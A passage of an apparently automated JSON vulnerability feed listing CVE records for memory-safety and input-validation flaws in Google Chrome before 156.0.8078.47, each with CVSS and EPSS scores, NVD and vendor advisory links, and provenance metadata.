exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113302&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113302, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113301","cveId":"CVE-2026-113301","aliases":[],"kind":"vulnerability","title":"Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:24.270Z","updatedAt":"2026-10-21T17:06:20.787Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113301","asOf":"2026-10-21T17:06:20.787Z"},"epss":{"probability":0.0056,"percentile":0.46357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113301&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113301","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113301","type":"primary","publishedAt":"2026-10-20T22:19:24.270Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113301&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113301, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113299","cveId":"CVE-2026-113299","aliases":[],"kind":"vulnerability","title":"Memory corruption in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:24.047Z","updatedAt":"2026-10-21T17:06:39.093Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113299","asOf":"2026-10-21T17:06:39.093Z"},"epss":{"probability":0.0056,"percentile":0.46358,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113299&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113299","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113299","type":"primary","publishedAt":"2026-10-20T22:19:24.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113299&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113299, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113298","cveId":"CVE-2026-113298","aliases":[],"kind":"vulnerability","title":"Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:23.940Z","updatedAt":"2026-10-21T17:06:42.780Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113298","asOf":"2026-10-21T17:06:42.780Z"},"epss":{"probability":0.00443,"percentile":0.38251,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113298&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113298","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113298","type":"primary","publishedAt":"2026-10-20T22:19:23.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113298&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113298, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113294","cveId":"CVE-2026-113294","aliases":[],"kind":"vulnerability","title":"Improper input validation in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Improper input validation in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Improper input validation in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:23.497Z","updatedAt":"2026-10-21T17:06:53.587Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113294","asOf":"2026-10-21T17:06:53.587Z"},"epss":{"probability":0.00452,"percentile":0.39024,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113294&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113294","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113294","type":"primary","publishedAt":"2026-10-20T22:19:23.497Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113294&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113294, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113293","cveId":"CVE-2026-113293","aliases":[],"kind":"vulnerability","title":"Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:23.387Z","updatedAt":"2026-10-22T11:56:30.123Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113293","asOf":"2026-10-22T11:56:30.123Z"},"epss":{"probability":0.00443,"percentile":0.38247,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113293&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113293","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113293","type":"primary","publishedAt":"2026-10-20T22:19:23.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113293&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113293, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113292","cveId":"CVE-2026-113292","aliases":[],"kind":"vulnerability","title":"Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:23.277Z","updatedAt":"2026-10-22T11:56:14.120Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113292","asOf":"2026-10-22T11:56:14.120Z"},"epss":{"probability":0.00417,"percentile":0.35717,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113292&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113292","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113292","type":"primary","publishedAt":"2026-10-20T22:19:23.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113292&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113292, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113291","cveId":"CVE-2026-113291","aliases":[],"kind":"vulnerability","title":"Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:23.170Z","updatedAt":"2026-10-21T17:06:57.957Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113291","asOf":"2026-10-21T17:06:57.957Z"},"epss":{"probability":0.00425,"percentile":0.36534,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113291&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113291","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113291","type":"primary","publishedAt":"2026-10-20T22:19:23.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113291&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113291, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113290","cveId":"CVE-2026-113290","aliases":[],"kind":"vulnerability","title":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:23.053Z","updatedAt":"2026-10-21T17:07:01.660Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113290","asOf":"2026-10-21T17:07:01.660Z"},"epss":{"probability":0.00425,"percentile":0.36534,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113290&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113290","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113290","type":"primary","publishedAt":"2026-10-20T22:19:23.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113290&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113290, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113289","cveId":"CVE-2026-113289","aliases":[],"kind":"vulnerability","title":"Improper input validation in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Improper input validation in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:22.937Z","updatedAt":"2026-10-21T17:07:08.813Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113289","asOf":"2026-10-21T17:07:08.813Z"},"epss":{"probability":0.00425,"percentile":0.36534,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113289&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113289","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113289","type":"primary","publishedAt":"2026-10-20T22:19:22.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113289&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113289, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113288","cveId":"CVE-2026-113288","aliases":[],"kind":"vulnerability","title":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:22.813Z","updatedAt":"2026-10-21T17:07:14.820Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113288","asOf":"2026-10-21T17:07:14.820Z"},"epss":{"probability":0.00425,"percentile":0.36533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113288&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113288","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113288","type":"primary","publishedAt":"2026-10-20T22:19:22.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113288&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113288, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113287","cveId":"CVE-2026-113287","aliases":[],"kind":"vulnerability","title":"Use after free in Prompts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Prompts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Prompts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 